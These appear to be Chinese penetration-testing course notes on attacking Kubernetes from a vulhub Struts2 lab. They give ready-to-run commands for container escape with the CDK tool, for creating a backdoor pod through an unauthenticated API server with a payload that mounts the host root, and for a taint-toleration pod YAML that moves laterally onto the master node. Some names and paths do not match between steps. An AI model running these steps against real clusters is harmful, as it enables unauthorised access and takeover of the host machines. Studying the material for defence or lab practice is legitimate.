知识点
1、云原生-K8s安全-横向移动-污点Taint
2、云原生-K8s安全-Kubernetes实战场景
一、演示案例-云原生-K8s安全-横向移动-污点Taint
如何判断实战中能否利用污点Taint？
设置污点
kubectl taint nodes node1 xtz=value1:NoSchedule
去除污点
kubectl taint nodes node1 xtz:NoSchedule-
节点说明中，查找 Taints 字段
拿到node节点权限时可以查看其他node主机或者master主机是否支持用Taint污点横向移动
kubectl describe nodes node-name
二、演示案例-云原生-K8s安全-Kubernetes实战场景
1、攻击Pod部署Web应用
Web应用部署：（struts2漏洞）
拉取靶场镜像
kubectl create deployment xiaodi --image=vulhub/struts2:2.3.28
查看pod容器的状态(归属节点、内部IP、运行状态等)
kubectl get pods -o wide
启动靶场镜像服务
kubectl expose deploy xiaodi --port=8080 --target-port=8080 --type=NodePort
kubectl get pod,svc
利用Web漏洞拿下权限
探针当前Webshell环境是否是docker容器
两种情况
1、纯在docker容器里 2、在k8s下的某个主机里的docker容器
ls -al /
但是这还没完，因为这个docker容器有很大可能会在k8s下面
cat /proc/1/cgroup
docker逃逸
工具地址：https://github.com/cdk-team/CDK
2、利用k8s-Api-Server未授权提交创建后门Pod
./cdk_linux_amd64 kcurl anonymous post 'https://10.96.0.1:443/api/v1/namespaces/default/pods/' '{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test02\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test02\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test02","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}'
或者
./kubectl -s 10.96.0.1:443 create -f test.yaml //test.yam就是{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test02\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test02\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test02","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}的值
查看后门pod是否创建
curl -k https://10.96.0.1:443/api/v1/namespaces/default/pods
3、实现挂载目录宿主机逃逸
加参数绕过交互式
./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a get pods
./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a exec test02 -- bash -c "ls /host" //host目录就是挂载目录，相当于宿主机的/目录，可以自定义的。
4、利用污点Taint横向移动
参考：https://cn-sec.com/archives/1336486.html
获取node节点详情
./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a describe nodes | grep Taints
或者
./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a describe nodes
点击查看代码
cat > x.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
name: control-master-xiaodi //自定义
spec:
tolerations:
- key: node-role.kubernetes.io/master //这里要修改
operator: Exists
effect: NoSchedule
containers:
- name: control-master-xiaodi //自定义
image: ubuntu:18.04
command: ["/bin/sleep", "3650d"]
volumeMounts:
- name: master
mountPath: /master //自定义
volumes:
- name: master
hostPath:
path: /
type: Directory
EOF
./kubectl apply -f test.yaml -n default --kubeconfig=config
./kubectl -n default --kubeconfig=config exec xiaodisec -- bash -c "ls /mnt/root"
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